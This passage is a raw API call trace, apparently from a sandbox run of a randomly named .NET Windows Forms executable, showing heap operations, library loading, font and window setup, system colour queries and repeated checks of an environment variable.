RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122aaf0 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122ab08 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122ab20 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x400) returned 0x57a618 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x122a708 | out: hHeap=0x510000) returned 1 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122ab38 [0023.263] WaitForSingleObject (hHandle=0x24c, dwMilliseconds=0x0) returned 0x102 [0023.263] WaitForSingleObject (hHandle=0x250, dwMilliseconds=0x3e8) returned 0x0 [0023.264] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x3ed64c, nSize=0x64 | out: lpBuffer="") returned 0x0 [0023.266] WaitForSingleObject (hHandle=0x24c, dwMilliseconds=0x0) returned 0x102 [0023.266] WaitForSingleObject (hHandle=0x250, dwMilliseconds=0x3e8) returned 0x0 [0023.330] WaitForSingleObject (hHandle=0x24c, dwMilliseconds=0x0) returned 0x102 [0023.330] WaitForSingleObject (hHandle=0x250, dwMilliseconds=0x3e8) returned 0x0 [0023.331] WaitForSingleObject (hHandle=0x24c, dwMilliseconds=0x0) returned 0x102 [0023.331] WaitForSingleObject (hHandle=0x250, dwMilliseconds=0x3e8) returned 0x0 [0023.331] GetProcessHeap () returned 0x510000 [0023.331] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xb0) returned 0x5f5e68 [0023.331] GetProcessHeap () returned 0x510000 [0023.331] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c) returned 0x575798 [0025.908] GetProcessHeap () returned 0x510000 [0025.908] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5f5e68 | out: hHeap=0x510000) returned 1 [0025.908] GetProcessHeap () returned 0x510000 [0025.908] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x575798 | out: hHeap=0x510000) returned 1 [0026.226] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x3eeb58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0026.491] IsAppThemed () returned 0x1 [0026.557] CoTaskMemAlloc (cb=0xf0) returned 0x57ba20 [0026.557] CreateActCtxA (pActCtx=0x3ef054) returned 0x57c35c [0026.802] CoTaskMemFree (pv=0x57ba20) [0026.806] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc13b [0026.806] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc139 [0026.809] GetProcessHeap () returned 0x510000 [0026.809] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5814a8 | out: hHeap=0x510000) returned 1 [0026.809] GetProcessHeap () returned 0x510000 [0026.809] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5814d0 | out: hHeap=0x510000) returned 1 [0026.821] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0027.601] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x75010000 [0027.924] AdjustWindowRectEx (in: lpRect=0x3ef0b0, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x3ef0b0) returned 1 [0027.972] GetCurrentProcess () returned 0xffffffff [0027.972] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x3eefc8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x3eefc8*=0x25c) returned 1 [0028.017] GetCurrentActCtx (in: lphActCtx=0x3eef28 | out: lphActCtx=0x3eef28*=0x0) returned 1 [0028.017] ActivateActCtx (in: hActCtx=0x57c35c, lpCookie=0x3eef38 | out: hActCtx=0x57c35c, lpCookie=0x3eef38) returned 1 [0028.017] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0029.110] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x74e70000 [0029.235] GetModuleHandleW (lpModuleName="user32.dll") returned 0x76d60000 [0029.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x3eedf0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcW\x19q\x93\x9aÞ\x07\x94Âdtàò>", lpUsedDefaultChar=0x0) returned 14 [0029.236] GetProcAddress (hModule=0x76d60000, lpProcName="DefWindowProcW") returned 0x77e125dd [0029.236] GetStockObject (i=5) returned 0x1900015 [0029.238] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0029.240] CoTaskMemAlloc (cb=0x5c) returned 0x57e620 [0029.240] RegisterClassW (lpWndClass=0x3eede0) returned 0xc0de [0029.240] CoTaskMemFree (pv=0x57e620) [0029.240] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0029.241] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x201ac [0029.241] SetWindowLongW (hWnd=0x201ac, nIndex=-4, dwNewLong=2011243997) returned 19269902 [0029.242] GetWindowLongW (hWnd=0x201ac, nIndex=-4) returned 2011243997 [0029.243] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee6f0 | out: phkResult=0x3ee6f0*=0x26c) returned 0x0 [0029.243] RegQueryValueExW (in: hKey=0x26c, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x3ee710, lpData=0x0, lpcbData=0x3ee70c*=0x0 | out: lpType=0x3ee710*=0x0, lpData=0x0, lpcbData=0x3ee70c*=0x0) returned 0x2 [0029.243] RegQueryValueExW (in: hKey=0x26c, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x3ee710, lpData=0x0, lpcbData=0x3ee70c*=0x0 | out: lpType=0x3ee710*=0x0, lpData=0x0, lpcbData=0x3ee70c*=0x0) returned 0x2 [0029.243] RegCloseKey (hKey=0x26c) returned 0x0 [0029.245] SetWindowLongW (hWnd=0x201ac, nIndex=-4, dwNewLong=19269942) returned 2011243997 [0029.245] GetWindowLongW (hWnd=0x201ac, nIndex=-4) returned 19269942 [0029.245] GetWindowLongW (hWnd=0x201ac, nIndex=-16) returned 113311744 [0029.245] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc130 [0029.246] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc13a [0029.246] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x201ac, Msg=0x81, wParam=0x0, lParam=0x3ee9bc) returned 0x1 [0029.246] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x201ac, Msg=0x83, wParam=0x0, lParam=0x3ee9a8) returned 0x0 [0029.246] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x201ac, Msg=0x1, wParam=0x0, lParam=0x3ee9bc) returned 0x0 [0029.246] GetClientRect (in: hWnd=0x201ac, lpRect=0x3ee724 | out: lpRect=0x3ee724) returned 1 [0029.246] GetWindowRect (in: hWnd=0x201ac, lpRect=0x3ee724 | out: lpRect=0x3ee724) returned 1 [0029.247] GetParent (hWnd=0x201ac) returned 0x0 [0029.247] DeactivateActCtx (dwFlags=0x0, ulCookie=0x14110001) returned 1 [0031.076] GetProcessHeap () returned 0x510000 [0031.076] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x585f98 | out: hHeap=0x510000) returned 1 [0031.076] GetProcessHeap () returned 0x510000 [0031.076] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57bbc0 | out: hHeap=0x510000) returned 1 [0031.112] EtwEventRegister () returned 0x0 [0031.152] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0031.153] AdjustWindowRectEx (in: lpRect=0x3eecf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eecf0) returned 1 [0031.153] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0031.153] AdjustWindowRectEx (in: lpRect=0x3eecf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eecf0) returned 1 [0031.153] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0031.153] AdjustWindowRectEx (in: lpRect=0x3eecf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eecf0) returned 1 [0031.153] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0031.153] AdjustWindowRectEx (in: lpRect=0x3eecf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eecf0) returned 1 [0031.153] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0031.153] AdjustWindowRectEx (in: lpRect=0x3eecf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eecf0) returned 1 [0031.153] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0031.153] AdjustWindowRectEx (in: lpRect=0x3eecf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eecf0) returned 1 [0031.293] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0031.293] AdjustWindowRectEx (in: lpRect=0x3eecf4, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eecf4) returned 1 [0031.293] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0031.293] AdjustWindowRectEx (in: lpRect=0x3eecf4, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eecf4) returned 1 [0031.293] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0031.293] AdjustWindowRectEx (in: lpRect=0x3eecf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eecf0) returned 1 [0031.340] LoadLibraryW (lpLibFileName="RichEd20.DLL") returned 0x74df0000 [0031.981] CoTaskMemAlloc (cb=0x20c) returned 0x57c588 [0031.981] GetModuleFileNameW (in: hModule=0x74df0000, lpFilename=0x57c588, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\RichEd20.DLL" (normalized: "c:\\windows\\system32\\riched20.dll")) returned 0x20 [0031.981] CoTaskMemFree (pv=0x57c588) [0031.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\RichEd20.DLL", nBufferLength=0x105, lpBuffer=0x3ee680, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\RichEd20.DLL", lpFilePart=0x0) returned 0x20 [0031.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\RichEd20.DLL", nBufferLength=0x105, lpBuffer=0x3ee6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\RichEd20.DLL", lpFilePart=0x0) returned 0x20 [0031.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3eeb0c) returned 1 [0031.984] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\RichEd20.DLL" (normalized: "c:\\windows\\system32\\riched20.dll"), fInfoLevelId=0x0, lpFileInformation=0x3eeb88 | out: lpFileInformation=0x3eeb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af9647e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9af9647e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af9647e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x73a00)) returned 1 [0031.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3eeb08) returned 1 [0031.986] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\RichEd20.DLL", lpdwHandle=0x3eebfc | out: lpdwHandle=0x3eebfc) returned 0x72c [0031.986] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\RichEd20.DLL", dwHandle=0x0, dwLen=0x72c, lpData=0x2f40580 | out: lpData=0x2f40580) returned 1 [0031.987] VerQueryValueW (in: pBlock=0x2f40580, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x3eebd0, puLen=0x3eebcc | out: lplpBuffer=0x3eebd0*=0x2f40910, puLen=0x3eebcc) returned 1 [0031.988] VerQueryValueW (in: pBlock=0x2f40580, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x3eeb50, puLen=0x3eeb4c | out: lplpBuffer=0x3eeb50*=0x2f4067c, puLen=0x3eeb4c) returned 1 [0031.989] VerQueryValueW (in: pBlock=0x2f40580, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x3eeb50, puLen=0x3eeb4c | out: lplpBuffer=0x3eeb50*=0x2f406d0, puLen=0x3eeb4c) returned 1 [0031.989] VerQueryValueW (in: pBlock=0x2f40580, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x3eeb50, puLen=0x3eeb4c | out: lplpBuffer=0x3eeb50*=0x2f4072c, puLen=0x3eeb4c) returned 1 [0031.989] VerQueryValueW (in: pBlock=0x2f40580, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x3eeb50, puLen=0x3eeb4c | out: lplpBuffer=0x3eeb50*=0x2f40768, puLen=0x3eeb4c) returned 1 [0031.989] VerQueryValueW (in: pBlock=0x2f40580, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x3eeb50, puLen=0x3eeb4c | out: lplpBuffer=0x3eeb50*=0x2f407a0, puLen=0x3eeb4c) returned 1 [0031.989] VerQueryValueW (in: pBlock=0x2f40580, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x3eeb50, puLen=0x3eeb4c | out: lplpBuffer=0x3eeb50*=0x2f40818, puLen=0x3eeb4c) returned 1 [0031.989] VerQueryValueW (in: pBlock=0x2f40580, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x3eeb50, puLen=0x3eeb4c | out: lplpBuffer=0x3eeb50*=0x2f40854, puLen=0x3eeb4c) returned 1 [0031.989] VerQueryValueW (in: pBlock=0x2f40580, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x3eeb50, puLen=0x3eeb4c | out: lplpBuffer=0x3eeb50*=0x2f408c8, puLen=0x3eeb4c) returned 1 [0031.989] VerQueryValueW (in: pBlock=0x2f40580, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x3eeb50, puLen=0x3eeb4c | out: lplpBuffer=0x3eeb50*=0x2f40630, puLen=0x3eeb4c) returned 1 [0031.989] VerQueryValueW (in: pBlock=0x2f40580, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x3eeb50, puLen=0x3eeb4c | out: lplpBuffer=0x3eeb50*=0x0, puLen=0x3eeb4c) returned 0 [0031.989] VerQueryValueW (in: pBlock=0x2f40580, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x3eeb50, puLen=0x3eeb4c | out: lplpBuffer=0x3eeb50*=0x0, puLen=0x3eeb4c) returned 0 [0031.989] VerQueryValueW (in: pBlock=0x2f40580, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x3eeb50, puLen=0x3eeb4c | out: lplpBuffer=0x3eeb50*=0x0, puLen=0x3eeb4c) returned 0 [0031.989] VerQueryValueW (in: pBlock=0x2f40580, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x3eeb44, puLen=0x3eeb40 | out: lplpBuffer=0x3eeb44*=0x2f40910, puLen=0x3eeb40) returned 1 [0031.989] VerLanguageNameW (in: wLang=0x0, szLang=0x3ee8d4, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0032.006] VerQueryValueW (in: pBlock=0x2f40580, lpSubBlock="\\", lplpBuffer=0x3eeb54, puLen=0x3eeb50 | out: lplpBuffer=0x3eeb54*=0x2f405a8, puLen=0x3eeb50) returned 1 [0032.007] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.007] AdjustWindowRectEx (in: lpRect=0x3eece4, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x3eece4) returned 1 [0032.012] GetSystemDefaultLCID () returned 0x409 [0032.012] GetStockObject (i=17) returned 0x18a0025 [0032.014] GetObjectW (in: h=0x18a0025, c=92, pv=0x3eeb08 | out: pv=0x3eeb08) returned 92 [0032.014] GetDC (hWnd=0x0) returned 0x101080c [0032.059] GdiplusStartup (in: token=0x128dc0, input=0x3ee0d8, output=0x3ee128 | out: token=0x128dc0, output=0x3ee128) returned 0x0 [0032.072] CoTaskMemAlloc (cb=0x5c) returned 0x57e620 [0032.073] GdipCreateFontFromLogfontW (hdc=0x101080c, logfont=0x57e620, font=0x3eebd0) returned 0x0 [0032.183] CoTaskMemFree (pv=0x57e620) [0032.183] CoTaskMemAlloc (cb=0x5c) returned 0x57e620 [0032.184] CoTaskMemFree (pv=0x57e620) [0032.184] CoTaskMemAlloc (cb=0x5c) returned 0x57e620 [0032.184] CoTaskMemFree (pv=0x57e620) [0032.184] GdipGetFontUnit (font=0x55d2230, unit=0x3eeb9c) returned 0x0 [0032.184] GdipGetFontSize (font=0x55d2230, size=0x3eeba0) returned 0x0 [0032.184] GdipGetFontStyle (font=0x55d2230, style=0x3eeb98) returned 0x0 [0032.184] GdipGetFamily (font=0x55d2230, family=0x3eeb94) returned 0x0 [0032.185] GdipGetFontSize (font=0x55d2230, size=0x2f42334) returned 0x0 [0032.185] ReleaseDC (hWnd=0x0, hDC=0x101080c) returned 1 [0032.185] GetDC (hWnd=0x0) returned 0x601081d [0032.186] GdipCreateFromHDC (hdc=0x601081d, graphics=0x3eebbc) returned 0x0 [0032.186] GdipGetDpiY (graphics=0x5adfcf0, dpi=0x2f4243c) returned 0x0 [0032.186] GdipGetFontHeight (font=0x55d2230, graphics=0x5adfcf0, height=0x3eebb4) returned 0x0 [0032.187] GdipGetEmHeight (family=0x55df6b8, style=0, EmHeight=0x3eebbc) returned 0x0 [0032.187] GdipGetLineSpacing (family=0x55df6b8, style=0, LineSpacing=0x3eebbc) returned 0x0 [0032.187] GdipDeleteGraphics (graphics=0x5adfcf0) returned 0x0 [0032.187] ReleaseDC (hWnd=0x0, hDC=0x601081d) returned 1 [0032.187] GdipCreateFont (fontFamily=0x55df6b8, emSize=0x41040000, style=0, unit=0x3, font=0x2f423fc) returned 0x0 [0032.187] GdipGetFontSize (font=0x5b32940, size=0x2f42400) returned 0x0 [0032.187] GdipDeleteFont (font=0x55d2230) returned 0x0 [0032.188] GetDC (hWnd=0x0) returned 0x601081d [0032.188] GdipCreateFromHDC (hdc=0x601081d, graphics=0x3eec24) returned 0x0 [0032.188] GdipGetFontHeight (font=0x5b32940, graphics=0x5adfcf0, height=0x3eec1c) returned 0x0 [0032.188] GdipDeleteGraphics (graphics=0x5adfcf0) returned 0x0 [0032.188] ReleaseDC (hWnd=0x0, hDC=0x601081d) returned 1 [0032.189] GetSystemMetrics (nIndex=5) returned 1 [0032.189] GetSystemMetrics (nIndex=6) returned 1 [0032.189] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.189] AdjustWindowRectEx (in: lpRect=0x3eecf0, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eecf0) returned 1 [0032.203] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x3ee2ac, nSize=0x64 | out: lpBuffer="") returned 0x0 [0032.208] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x3ee2ac, nSize=0x64 | out: lpBuffer="") returned 0x0 [0032.213] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x3ee2ac, nSize=0x64 | out: lpBuffer="") returned 0x0 [0032.216] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x3ee2ac, nSize=0x64 | out: lpBuffer="") returned 0x0 [0032.218] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x3eeccc) returned 0x0 [0032.219] GdipCreateFont (fontFamily=0x55df6b8, emSize=0x417c0000, style=1, unit=0x3, font=0x2f45668) returned 0x0 [0032.219] GdipGetFontSize (font=0x55d2230, size=0x2f4566c) returned 0x0 [0032.227] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.227] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec50) returned 1 [0032.229] GetUserObjectInformationA (in: hObj=0x5c, nIndex=1, pvInfo=0x2f468c0, nLength=0xc, lpnLengthNeeded=0x3eeb2c | out: pvInfo=0x2f468c0, lpnLengthNeeded=0x3eeb2c) returned 1 [0032.253] SetConsoleCtrlHandler (HandlerRoutine=0x1260986, Add=1) returned 1 [0032.253] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0032.254] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0032.254] GetClassInfoW (in: hInstance=0x1360000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x2f46924 | out: lpWndClass=0x2f46924) returned 0 [0032.255] CoTaskMemAlloc (cb=0x58) returned 0x54e0f8 [0032.255] RegisterClassW (lpWndClass=0x3eea7c) returned 0xc135 [0032.255] CoTaskMemFree (pv=0x54e0f8) [0032.255] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x401aa [0032.256] NtdllDefWindowProc_W () returned 0x0 [0032.256] NtdllDefWindowProc_W () returned 0x0 [0032.256] NtdllDefWindowProc_W () returned 0x0 [0032.256] NtdllDefWindowProc_W () returned 0x0 [0032.258] GetSysColor (nIndex=10) returned 0xb4b4b4 [0032.258] GetSysColor (nIndex=2) returned 0xd1b499 [0032.258] GetSysColor (nIndex=9) returned 0x0 [0032.258] GetSysColor (nIndex=12) returned 0xababab [0032.258] GetSysColor (nIndex=15) returned 0xf0f0f0 [0032.258] GetSysColor (nIndex=20) returned 0xffffff [0032.258] GetSysColor (nIndex=16) returned 0xa0a0a0 [0032.258] GetSysColor (nIndex=15) returned 0xf0f0f0 [0032.258] GetSysColor (nIndex=16) returned 0xa0a0a0 [0032.258] GetSysColor (nIndex=21) returned 0x696969 [0032.258] GetSysColor (nIndex=22) returned 0xe3e3e3 [0032.258] GetSysColor (nIndex=20) returned 0xffffff [0032.258] GetSysColor (nIndex=18) returned 0x0 [0032.258] GetSysColor (nIndex=1) returned 0x0 [0032.258] GetSysColor (nIndex=27) returned 0xead1b9 [0032.258] GetSysColor (nIndex=28) returned 0xf2e4d7 [0032.258] GetSysColor (nIndex=17) returned 0x6d6d6d [0032.258] GetSysColor (nIndex=13) returned 0xff9933 [0032.258] GetSysColor (nIndex=14) returned 0xffffff [0032.259] GetSysColor (nIndex=26) returned 0xcc6600 [0032.259] GetSysColor (nIndex=11) returned 0xfcf7f4 [0032.259] GetSysColor (nIndex=3) returned 0xdbcdbf [0032.259] GetSysColor (nIndex=19) returned 0x544e43 [0032.259] GetSysColor (nIndex=24) returned 0xe1ffff [0032.259] GetSysColor (nIndex=23) returned 0x0 [0032.259] GetSysColor (nIndex=4) returned 0xf0f0f0 [0032.259] GetSysColor (nIndex=30) returned 0xf0f0f0 [0032.259] GetSysColor (nIndex=29) returned 0xff9933 [0032.259] GetSysColor (nIndex=7) returned 0x0 [0032.259] GetSysColor (nIndex=0) returned 0xc8c8c8 [0032.259] GetSysColor (nIndex=5) returned 0xffffff [0032.259] GetSysColor (nIndex=6) returned 0x646464 [0032.259] GetSysColor (nIndex=8) returned 0x0 [0032.259] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.259] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec50) returned 1 [0032.261] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x3ee2ac, nSize=0x64 | out: lpBuffer="") returned 0x0 [0032.262] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x3eeccc) returned 0x0 [0032.262] GdipCreateFont (fontFamily=0x55df6b8, emSize=0x41100000, style=1, unit=0x3, font=0x2f47534) returned 0x0 [0032.262] GdipGetFontSize (font=0x5adf030, size=0x2f47538) returned 0x0 [0032.263] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.263] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec50) returned 1 [0032.263] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.263] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec50) returned 1 [0032.263] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x3eeccc) returned 0x0 [0032.263] GdipCreateFont (fontFamily=0x55df6b8, emSize=0x41100000, style=1, unit=0x3, font=0x2f47d2c) returned 0x0 [0032.263] GdipGetFontSize (font=0x5a9e7c8, size=0x2f47d30) returned 0x0 [0032.263] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.263] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec50) returned 1 [0032.263] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.263] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec50) returned 1 [0032.265] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0x3ee33c, nSize=0x64 | out: lpBuffer="") returned 0x0 [0032.267] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\gblyrzexggw.exe.config", nBufferLength=0x105, lpBuffer=0x3ee5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop\\gblyrzexggw.exe.config", lpFilePart=0x0) returned 0x30 [0032.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3eea3c) returned 1 [0032.267] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop\\gblyrzexggw.exe.config" (normalized: "c:\\users\\whuoxysd\\desktop\\gblyrzexggw.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x3eeab8 | out: lpFileInformation=0x3eeab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0032.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3eea38) returned 1 [0032.357] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x3eeccc) returned 0x0 [0032.357] GdipCreateFont (fontFamily=0x55df6b8, emSize=0x41640000, style=1, unit=0x3, font=0x2f4afe0) returned 0x0 [0032.357] GdipGetFontSize (font=0x5a9e7f0, size=0x2f4afe4) returned 0x0 [0032.359] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.359] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec50) returned 1 [0032.359] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75010000 [0032.359] AdjustWindowRectEx (in: lpRect=0x3eec50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x3eec50) returned 1 [0032.359] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0x3eeccc) returned 0x0 [0032.359] GdipCreateFont 